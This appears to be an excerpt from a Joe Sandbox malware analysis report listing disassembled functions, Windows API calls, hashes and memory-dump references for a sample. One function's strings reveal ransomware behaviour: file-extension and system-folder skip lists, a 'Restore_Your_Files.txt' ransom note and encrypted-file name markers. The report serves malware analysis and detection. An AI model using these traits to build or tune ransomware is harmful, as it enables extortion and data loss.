                                  • GetLastError.KERNEL32(?,00A8900C,00000000,00000000,00A38F76,00000002,?,00A7AA52,?,00000000,00000000,00000001,?,00A38F76,?,00A7AB07), ref: 00A88FA0
                                  • __dosmaperr.LIBCMT ref: 00A88FA7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorFileLastPointer__dosmaperr
                                  • String ID:
                                  • API String ID: 2336955059-0
                                  • Opcode ID: 079495fc935c05319dd3e99be98fe5a3889429f22ea8018b48ea09aeea68750a
                                  • Instruction ID: 39794a34d1999544afb02d221a9109f0c2746544cb442324f4eb5d437def7290
                                  • Opcode Fuzzy Hash: 079495fc935c05319dd3e99be98fe5a3889429f22ea8018b48ea09aeea68750a
                                  • Instruction Fuzzy Hash: 1E014C33610515ABCB05EFE8DC05CAE7B2AEB85330B280209FA158B1D0FE719D11CBD0
                                  Function 009D4420 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62COMMON
                                  Download Yara Rule
                                  APIs
                                  • GlobalMemoryStatusEx.KERNEL32(?,00000000), ref: 009D444D
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: GlobalMemoryStatus
                                  • String ID: @
                                  • API String ID: 1890195054-2766056989
                                  • Opcode ID: 524b5099e0b89aef56f87b21b5fdd2e8235d0e3f1fee3d859407a922eb55abe8
                                  • Instruction ID: 52ca16e32aef5f8993574b1cb470102a5b04ce33b81e80f757331a750fad782e
                                  • Opcode Fuzzy Hash: 524b5099e0b89aef56f87b21b5fdd2e8235d0e3f1fee3d859407a922eb55abe8
                                  • Instruction Fuzzy Hash: 4421AE71A14B449BC220EF38D842B2BB7F5AF9AB40F400B1EF48597242EB70A454CBD2
                                  Function 00A85243 Relevance: 3.1, APIs: 2, Instructions: 77fileCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • WriteFile.KERNEL32(7408458B,?,?,?,00000000,?,00A7AB2E,E0830C40,?,00A8577F,00A38F76,00A7AB2E,?,00A7AB2E,00A7AB2E,00A38F76), ref: 00A852DE
                                  • GetLastError.KERNEL32(?,00A8577F,00A38F76,00A7AB2E,?,00A7AB2E,00A7AB2E,00A38F76,00A7AB2E,?,00ADCE68,00000014,00A71B64,00000000,8304488B,00A38F76), ref: 00A85307
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: ErrorFileLastWrite
                                  • String ID:
                                  • API String ID: 442123175-0
                                  • Opcode ID: f410aaf9144c912ca6f12d1e4b2c35ff97ab501bfbfa70d2fc45404e20c267c5
                                  • Instruction ID: 7d9fa3bee14fa76f1bd50c2251db968035ac0e9791606f9a26e84e0ecdd4ac71
                                  • Opcode Fuzzy Hash: f410aaf9144c912ca6f12d1e4b2c35ff97ab501bfbfa70d2fc45404e20c267c5
                                  • Instruction Fuzzy Hash: 6C21A035A003199FCB15DF69CC80BEAB3F9EB08342F1044AAE946D7251D770AE86CF50
                                  Function 00A38F8D Relevance: 3.1, APIs: 2, Instructions: 71COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Xfsopenstd::_
                                  • String ID:
                                  • API String ID: 2914972069-0
                                  • Opcode ID: 802c905a919f937d24fa6103c478e12e2b4d18a74fd7b1a36409212f2a23a7e3
                                  • Instruction ID: 8b1a41d76be3c09debd20ee660dd8ebe7a6eaeff725a83489efd62e7e4915e55
                                  • Opcode Fuzzy Hash: 802c905a919f937d24fa6103c478e12e2b4d18a74fd7b1a36409212f2a23a7e3
                                  • Instruction Fuzzy Hash: C4114432A0431667CB255B68DD06BBB779B9F82B94F188035FD09961A5EF7CDD02C2D0
                                  Function 00A83B5D Relevance: 3.1, APIs: 2, Instructions: 67COMMON
                                  Download Yara Rule
                                  APIs
                                  • GetStdHandle.KERNEL32(000000F6), ref: 00A83BA9
                                  • GetFileType.KERNEL32(00000000), ref: 00A83BBB
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: FileHandleType
                                  • String ID:
                                  • API String ID: 3000768030-0
                                  • Opcode ID: 25c64c49ab6a94a53cdb7b06c38bd9d59bd6a5ab3c3c488242112b7649f3a5ca
                                  • Instruction ID: 7d86d457b5e253ca418303082dc0fffb02c3abe4fb435ed9acafb62c03248db4
                                  • Opcode Fuzzy Hash: 25c64c49ab6a94a53cdb7b06c38bd9d59bd6a5ab3c3c488242112b7649f3a5ca
                                  • Instruction Fuzzy Hash: 6011A5B3508B824ACF306B3E8C9C622BAA49B56730F380719D0B7961F1C734DA869740
                                  Function 009D5D90 Relevance: 1.6, APIs: 1, Instructions: 66COMMON
                                  Download Yara Rule
                                  APIs
                                  • GlobalMemoryStatusEx.KERNEL32(215D2A08), ref: 009D5DAF
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: GlobalMemoryStatus
                                  • String ID:
                                  • API String ID: 1890195054-0
                                  • Opcode ID: 47c726008914b7ee389be7260b3280fca390abf3f5901ceb5dc6bb583e846fc1
                                  • Instruction ID: 6b20214bc07b064d06efb4599797b56a57310cc7f02658832ecb5efe6c59f5f0
                                  • Opcode Fuzzy Hash: 47c726008914b7ee389be7260b3280fca390abf3f5901ceb5dc6bb583e846fc1
                                  • Instruction Fuzzy Hash: 9D115E30344A0447EB14EB24DA5273EB3E8DB45712F41466EED8F87781EA6AED108792
                                  Function 00A84B7B Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                  Download Yara Rule
                                  APIs
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: __wsopen_s
                                  • String ID:
                                  • API String ID: 3347428461-0
                                  • Opcode ID: db907f8b19dc720d2b5368f6b735cd59b19515e984fddfa028141db1571a1d62
                                  • Instruction ID: 5d874424670e196e565752e53dc66df449a4b6feaa5e102c8b40daed5ba4a5c6
                                  • Opcode Fuzzy Hash: db907f8b19dc720d2b5368f6b735cd59b19515e984fddfa028141db1571a1d62
                                  • Instruction Fuzzy Hash: CE11187190420AAFCF05EF58E945A9A7BF5EF48310F10445AF808AB352D671D9118BA5
                                  Function 00A71D34 Relevance: 1.5, APIs: 1, Instructions: 46COMMONLIBRARYCODE
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: fdda3eeaaeb209e15c66a46a25a7ed506e6a5ebcfd1ec3d6670bf254339221b4
                                  • Instruction ID: 68005f44b568943de089b4fcbc3947a7c97feb9edba858338658135b3bac0f8e
                                  • Opcode Fuzzy Hash: fdda3eeaaeb209e15c66a46a25a7ed506e6a5ebcfd1ec3d6670bf254339221b4
                                  • Instruction Fuzzy Hash: 65F0F432901A105BDA31366DCD05B6B32E9DF82335F10C715F52D931D2EA74D9018F95
                                  Function 00A85B37 Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A85B94: RtlAllocateHeap.NTDLL(00000000,?,?,?,00A67B27,?,?,?,?,?,009C1F07,?,?,?), ref: 00A85BC6
                                  • _free.LIBCMT ref: 00A85B57
                                    • Part of subcall function 00A84D66: HeapFree.KERNEL32(00000000,00000000,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?), ref: 00A84D7C
                                    • Part of subcall function 00A84D66: GetLastError.KERNEL32(?,?,00A8D5F8,?,00000000,?,00000000,?,00A8D89C,?,00000007,?,?,00A8DC90,?,?), ref: 00A84D8E
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Heap$AllocateErrorFreeLast_free
                                  • String ID:
                                  • API String ID: 314386986-0
                                  • Opcode ID: 51ecdbe181f6e2ccb394573ed4aee726be91424a84418a54029243bc2359a6c9
                                  • Instruction ID: 0e36ac3c618452fde35dd60386dd2a8129f5092711f7d16e9ba52639bdbefabf
                                  • Opcode Fuzzy Hash: 51ecdbe181f6e2ccb394573ed4aee726be91424a84418a54029243bc2359a6c9
                                  • Instruction Fuzzy Hash: C2F06DB2405B008FE734EF50D885B52B7F8EF14725F10882EE69A8BA91DB74B844CB94
                                  Function 00A85B94 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • RtlAllocateHeap.NTDLL(00000000,?,?,?,00A67B27,?,?,?,?,?,009C1F07,?,?,?), ref: 00A85BC6
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: AllocateHeap
                                  • String ID:
                                  • API String ID: 1279760036-0
                                  • Opcode ID: 893fee78843a98e09c5ebff3fefb8ad51033f00a93836fcc8b321ecf7c45d525
                                  • Instruction ID: 178180fff2a69d4e0281c2417e9647e9e20291938ee79fef0eb8cabf68ac5caf
                                  • Opcode Fuzzy Hash: 893fee78843a98e09c5ebff3fefb8ad51033f00a93836fcc8b321ecf7c45d525
                                  • Instruction Fuzzy Hash: 10E02B31E05BA456DB213BB65C08F5B7A4C9F513B0F218160FC159A5C0FBA4CC018BF1
                                  Function 00A5089A Relevance: 1.5, APIs: 1, Instructions: 29COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A51B69
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID:
                                  • API String ID: 2005118841-0
                                  • Opcode ID: 4e1c2437cc08cba4bf165384cdb11cbe0f16ca9683682db1b626ef7f33cf52bc
                                  • Instruction ID: 34b1760469085f77a39e17f12190f3cc44ef5ed016c5a1766474847a2e85d0ac
                                  • Opcode Fuzzy Hash: 4e1c2437cc08cba4bf165384cdb11cbe0f16ca9683682db1b626ef7f33cf52bc
                                  • Instruction Fuzzy Hash: B1E0923440430DB68F047BB8ED16EAD37286A10365B20C571BC68994E2EF70D95DC5D1
                                  Function 009D58E0 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                  Download Yara Rule
                                  APIs
                                  • EnumWindows.USER32(009D52E0,?), ref: 009D5900
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: EnumWindows
                                  • String ID:
                                  • API String ID: 1129996299-0
                                  • Opcode ID: 4518d5af2af1be33e3ad65ac70b01fb7029e588ea3fc00094522ce9fc2771bcd
                                  • Instruction ID: e4702124cc1d87935f4a0043c0891e66639088e99017033a1529ed044d819d28
                                  • Opcode Fuzzy Hash: 4518d5af2af1be33e3ad65ac70b01fb7029e588ea3fc00094522ce9fc2771bcd
                                  • Instruction Fuzzy Hash: C9E01231A0030CABCB00DFA4DD46B9EBBF8EB05301F5181AAED0797340EA706A098B95
                                  Function 00A9035E Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • CreateFileW.KERNEL32(00000000,00000000,?,00A90739,?,?,00000000,?,00A90739,00000000,0000000C), ref: 00A9037B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: CreateFile
                                  • String ID:
                                  • API String ID: 823142352-0
                                  • Opcode ID: bc5b710b437df8ed4ac8e86e607924cb3278c2bcdc8511cd445276dcedeca891
                                  • Instruction ID: 0b354e850a47be8b2fad7e81babe0075515af41171fea24991724ac0a97376c8
                                  • Opcode Fuzzy Hash: bc5b710b437df8ed4ac8e86e607924cb3278c2bcdc8511cd445276dcedeca891
                                  • Instruction Fuzzy Hash: 91D06C3210014DFFDF028F84DC06EDA3BAAFB48754F018000BA1856060C732E922AB90

                                  Non-executed Functions

                                  Function 009DAF50 Relevance: 81.2, APIs: 7, Strings: 38, Instructions: 2469filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • SetErrorMode.KERNEL32(00008003,215D2A08), ref: 009DAF9D
                                  • FindFirstFileW.KERNEL32(?,?,00ABFBE0,00000002), ref: 009DAFC5
                                  • lstrcmpW.KERNEL32(?,00ABFF18), ref: 009DC90E
                                  • lstrcmpW.KERNEL32(?,00ABFF1C), ref: 009DC924
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009DCC01
                                  • FindNextFileW.KERNEL32(?,?), ref: 009DD853
                                  • FindClose.KERNEL32(?), ref: 009DD867
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Find$Filelstrcmp$CloseErrorFirstIos_base_dtorModeNextstd::ios_base::_
                                  • String ID: .2QN$.bat$.cmd$.cpl$.dll$.exe$.icl$.ico$.ini$.lnk$.log$.msi$.scr$2$Dflt$Dflt$\Application Data\Microsoft\Credentials$\Boot$\Documents and Settings\$\Documents and Settings\All Users\Start Menu$\Local Settings\Application Data\Microsoft\Credentials$\Local Settings\Temporary Internet Files$\ProgramData$\ProgramData\Microsoft$\Recovery$\Restore_Your_Files.txt$\Start Menu$\System Volume Information$\Users\All Users\Microsoft\Windows\Caches$\Users\Default\ntuser.dat$\WINDOWS$\Windows$\skips.txt$_Eg$_Enc$_Mail-$_[ID-$user
                                  • API String ID: 830838206-1012048147
                                  • Opcode ID: 919ac6be296abe3dd760cf4d1389ffc4c31145be4a6313f49f14625ab1681be4
                                  • Instruction ID: b68bafc3ea59a4e4fe96ba22d971b825d30555878fc067cdf1143edb234c0ff5
                                  • Opcode Fuzzy Hash: 919ac6be296abe3dd760cf4d1389ffc4c31145be4a6313f49f14625ab1681be4
                                  • Instruction Fuzzy Hash: 7E334BB1E00229CBDB24DF28CD85BDDB7B5AF45304F5081EAD609A7291DB349AC5CF98
                                  Function 00A4F5F0 Relevance: 49.5, APIs: 25, Strings: 3, Instructions: 489memorylibraryloaderCOMMON
                                  Download Yara Rule
                                  APIs
                                  • TlsGetValue.KERNEL32(FFFFFFFF,215D2A08,7591DF60,759230E0), ref: 00A4F66D
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A4F711
                                  • CreateWaitableTimerA.KERNEL32(00000000,00000000,00000000), ref: 00A4F721
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A4F752
                                  • GetModuleHandleA.KERNEL32(KERNEL32.DLL,SetWaitableTimerEx,?,?,000F4240,00000000), ref: 00A4F79D
                                  • GetProcAddress.KERNEL32(00000000), ref: 00A4F7A4
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A4F837
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A4F857
                                  • WaitForMultipleObjectsEx.KERNEL32(?,?,00000000,00000000,00000000,?,?,000F4240,00000000), ref: 00A4F895
                                  • QueryPerformanceFrequency.KERNEL32(?,?,?,000F4240,00000000), ref: 00A4F8F0
                                  • QueryPerformanceCounter.KERNEL32(?,?,?,000F4240,00000000), ref: 00A4F922
                                  • QueryPerformanceCounter.KERNEL32(?,?,?,000F4240,00000000), ref: 00A4F93A
                                  • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A4F9A5
                                  • CloseHandle.KERNEL32(00000000,?,?,000F4240,00000000), ref: 00A4F9F6
                                  • CloseHandle.KERNEL32(00000000,?,?,000F4240,00000000), ref: 00A4FA2A
                                  • ResetEvent.KERNEL32(00000000,?,?,000F4240,00000000), ref: 00A4FA42
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A4FA51
                                  • GetProcessHeap.KERNEL32(00000000,7591DF60), ref: 00A4FAE9
                                  • HeapFree.KERNEL32(00000000), ref: 00A4FAF0
